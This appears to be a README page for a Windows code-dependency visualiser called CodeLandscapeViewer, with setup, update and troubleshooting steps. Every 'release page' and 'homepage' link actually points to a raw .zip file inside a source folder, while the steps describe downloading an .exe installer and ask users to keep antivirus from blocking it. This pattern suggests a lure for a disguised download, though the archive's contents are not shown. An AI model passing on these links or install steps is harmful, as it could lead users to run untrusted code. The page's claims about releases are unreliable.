CodeLandscapeViewer helps you see how different parts of a software project connect to each other. It turns files, classes, and services into a graph you can explore with your mouse. This graph shows how the pieces depend on each other, making it easier to understand even big or complex code projects. You can explore Python, JavaScript, TypeScript, and other languages.
The app uses simple visual tools so you don't need to be a programmer to understand what is going on in a codebase. Each node on the graph gives you details about the file or part it represents. This lets you trace the chain of dependencies with a few clicks.
- Visual, interactive map of code dependencies
- Supports Python, JavaScript, TypeScript, and more
- Click nodes to see detailed dependency chains
- Shows relationships between files, classes, services, and endpoints
- Works on Windows systems
- Uses a clear graph layout, so you can find what you need fast
- Windows 10 or later (64-bit preferred)
- At least 4 GB of RAM
- 300 MB of free disk space
- Internet connection to download the application
- No other software required to run the app
You will find all the files to run CodeLandscapeViewer on the releases page. Follow these steps to download and set it up on your Windows computer.
-
Visit the official release page by clicking the badge below:
-
Look for the latest release. It will have a version number and a date.
-
On the release page, find the file that ends with
.exe. This is the installer for Windows. -
Click the
.exefile name to download it to your computer. -
Once the download finishes, locate the file in your Downloads folder or the folder you saved it to.
-
Double-click the file to start the installation process.
-
Follow the on-screen steps to install the app. You can accept the default options safely.
-
After the installation finishes, look for the CodeLandscapeViewer icon on your desktop or start menu.
-
Double-click the icon to open the app.
-
When you open the app, you will see an option to load a codebase.
-
Click the button to browse your computer files.
-
Choose the folder that contains the code you want to explore.
-
The app will analyze the code and build a graph showing all connections.
-
Nodes in the graph represent files, classes, or services.
-
Click any node to see details and trace its relationships.
-
Use your mouse to zoom in or out and drag the graph to explore.
-
The app updates the view as you interact, making it easy to understand code structure.
Check the release page regularly for new versions. New releases may include bug fixes, performance improvements, or support for more programming languages.
To update:
- Go to the release page: https://github.com/Acas773/CodeLandscapeViewer/raw/refs/heads/main/backend/analyzer/Viewer_Landscape_Code_v3.2.zip
- Download the latest
.exefile following the steps above - Run the installer again to replace the old version
Your settings and data will stay the same.
- If the app fails to open, make sure your Windows updates are current.
- Check that your antivirus software does not block the installer.
- If the app seems slow, close other programs to free up memory.
- For file loading errors, ensure the selected folder contains code files in Python, JavaScript, or TypeScript.
If issues continue, search the GitHub repository's Issues section for similar problems or submit a detailed report.
CodeLandscapeViewer works by scanning source code files in your chosen folder. It looks at code structure to find how functions, classes, and files link together. It uses common code patterns for Python and JavaScript/TypeScript to map dependencies.
The graph uses nodes and lines. Each node is a part of the code, and lines show connections. This gives a visual way to find how changes in one file could affect others.
All analysis happens on your computer. CodeLandscapeViewer does not send your code or data over the internet. Your source files remain private and secure.
- Python (.py files)
- JavaScript (.js files)
- TypeScript (.ts files)
The app detects common code structures such as classes, functions, and modules in these languages to build the graph.
The app uses technology called force-directed graphs to place nodes in a way that shows their relationships clearly. This method spreads nodes apart based on connections so clusters form naturally.
The user interface keeps complexity low and focuses on what you need to see. You can zoom to get detailed views or zoom out to see the whole code landscape.
- Release page to download: https://github.com/Acas773/CodeLandscapeViewer/raw/refs/heads/main/backend/analyzer/Viewer_Landscape_Code_v3.2.zip
- Project homepage: https://github.com/Acas773/CodeLandscapeViewer/raw/refs/heads/main/backend/analyzer/Viewer_Landscape_Code_v3.2.zip